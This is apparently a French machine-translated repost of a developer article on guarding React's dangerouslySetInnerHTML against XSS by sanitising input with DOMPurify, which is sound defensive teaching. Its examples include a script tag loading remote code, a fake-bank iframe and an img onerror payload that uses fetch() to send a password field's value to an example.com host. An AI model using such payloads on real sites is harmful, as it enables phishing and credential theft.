Image de couverture par Lautaro Andreani
...
TL : DR; Déverser du contenu aveuglément dans SetInnerHTML de manière dangereuse est exactement cela : dangereux. Assurez-vous de nettoyer dangereusement toute entrée que vous transmettez à SetInnerHTML, sauf si vous avez un contrôle explicite sur l'entrée.
Le composant suivant sert d'exemple simple pour atténuer le risque d'une attaque XSS via dangereusementSetInnerHTML :
//https://github.com/cure53/DOMPurify import React from "react"; import DOMPurify from "dompurify"; const sanitize = (dirty) => DOMPurify.sanitize(dirty); const DangerousHtml = ({ innerHTML, tag }) => { const clean = sanitize(innerHTML); if (typeof tag === "undefined") { return <div dangerouslySetInnerHTML={{ __html: clean }} />; } return <tag dangerouslySetInnerHTML={{ __html: clean }} />; }; export default DangerousHtml;
En utilisant notre composant DangerousHtml sur mesure, nous pouvons réduire considérablement le risque d'un exploit XSS car nous nettoyons nos entrées avant qu'elles n'atteignent le prop dangereusementSetInnerHTML
DOMPurify est également hautement configurable, il se peut donc que vous souhaitiez avoir plusieurs composants comme notre exemple pour gérer des cas d'utilisation spécifiques ou autoriser explicitement certains des exemples ci-dessous.
Vous trouverez ci-dessous quelques brefs exemples de la manière dont les exploits pourraient avoir lieu :
XSS est possible car React ne supprimera pas la balise de script qui pointe vers une charge utile malveillante.
Nous ne devrions vraiment pas non plus transmettre les iFrames de cette manière. Au lieu de cela, nous devrions transmettre l'URL et tout autre attribut "sûr" comme accessoire et le restituer nous-mêmes dans une balise iFrame pour conserver le contrôle de sa capacité de rendu et de sa source, ou disposer d'un composant iFrame dédié.
Par exemple, considérons le balisage malveillant suivant que nous avons reçu d'une requête API. Si nous le définissons aveuglément via dangereusementSetInnerHTML, nous donnerons à l'utilisateur ce résultat :
// Bad markup going in <div dangerouslySetInnerHTML={{ __html: `<p> Hi <script src="https://example.com/malicious-tracking"></script> Fiona, here is the link to enter your bank details: <iframe src="https://example.com/defo-not-the-actual-bank"></iframe> </p>`, }} />
<!-- Bad markup rendered on the DOM --> <div> <p> Hi <script src="https://example.com/malicious-tracking"></script> Fiona, here is the link to enter your bank details: <iframe src="https://example.com/defo-not-the-actual-bank"></iframe> </p> </div>
Cependant, en utilisant notre composant DangerousHTML à la place, cela signifie que nous avons atténué la plupart des risques auxquels l'utilisateur aurait pu être confronté :
// Bad markup going in <DangerousHtml innerHTML={`<p> Hi <script src="https://example.com/malicious-tracking"></script> Fiona, here is the link to enter your bank details: <iframe src="https://example.com/defo-not-the-actual-bank"></iframe> </p>`} />
<!-- Clean markup rendered on the DOM --> <div> <p>Hi Fiona, here is the link to enter your bank details:</p> </div>
Fiona peut penser que le site Web est défectueux ou qu'il manque du contenu pour une raison quelconque - mais c'est toujours mieux que de se faire hameçonner pour obtenir ses coordonnées bancaires !
Certains éléments du DOM ont des attributs spéciaux dont nous pouvons abuser et contre lesquels nous devons nous protéger.
Dans cet exemple, nous pouvons exécuter du JS sur une image
Par exemple, étant donné ce qui suit :
// Bad markup going in <div dangerouslySetInnerHTML={{ __html: ` <p> Hola <img src='none.png' onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);' /> Sharon </p>`, }} />
<!-- Bad markup rendered on the DOM --> <div> <p> Hola <img src="none.png" onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);' /> Sharon </p> </div>
Dans ce cas, notre balisage empoisonné vole des données du DOM lorsque la demande d'image échoue finalement et l'utilisateur ne le saura même jamais.
Nous pouvons à nouveau atténuer cela avec notre composant DangerousHtml
// Bad markup going in <DangerousHtml innerHTML={` <p> Hola <img src='none.png' onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);' /> Sharon </p>`} />
<!-- Clean markup rendered on the DOM --> <div> <p> Hola <img src="none.png" /> Sharon </p> </div>
Étant donné l'argument selon lequel nous pourrions réellement vouloir exécuter du JS pour afficher une image de secours, nous ne devrions pas encore faire confiance au HTML brut et non aseptisé pour le faire à notre place et il serait préférable d'avoir un accessoire fallbackImageURL ou onError que nous peut explicitement ajouter à notre balise d'image comme ceci :
// Usual imports const MyImageComponent = ({ fallbackUrl, url }) => { // Usual component setup const displayFallbackImage = (evt) => { // If there is no fallback, do nothing if (!fallbackUrl) return; // set the url to the fallbackUrl evt.target.src = fallbackUrl; }; return ( <img src={url} onerror={displayFallbackImage} // ... any other props /> ); };
...
Article original : https://timbryan.dev/posts/react-xss-via-dangerouslySetInnerHtml
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!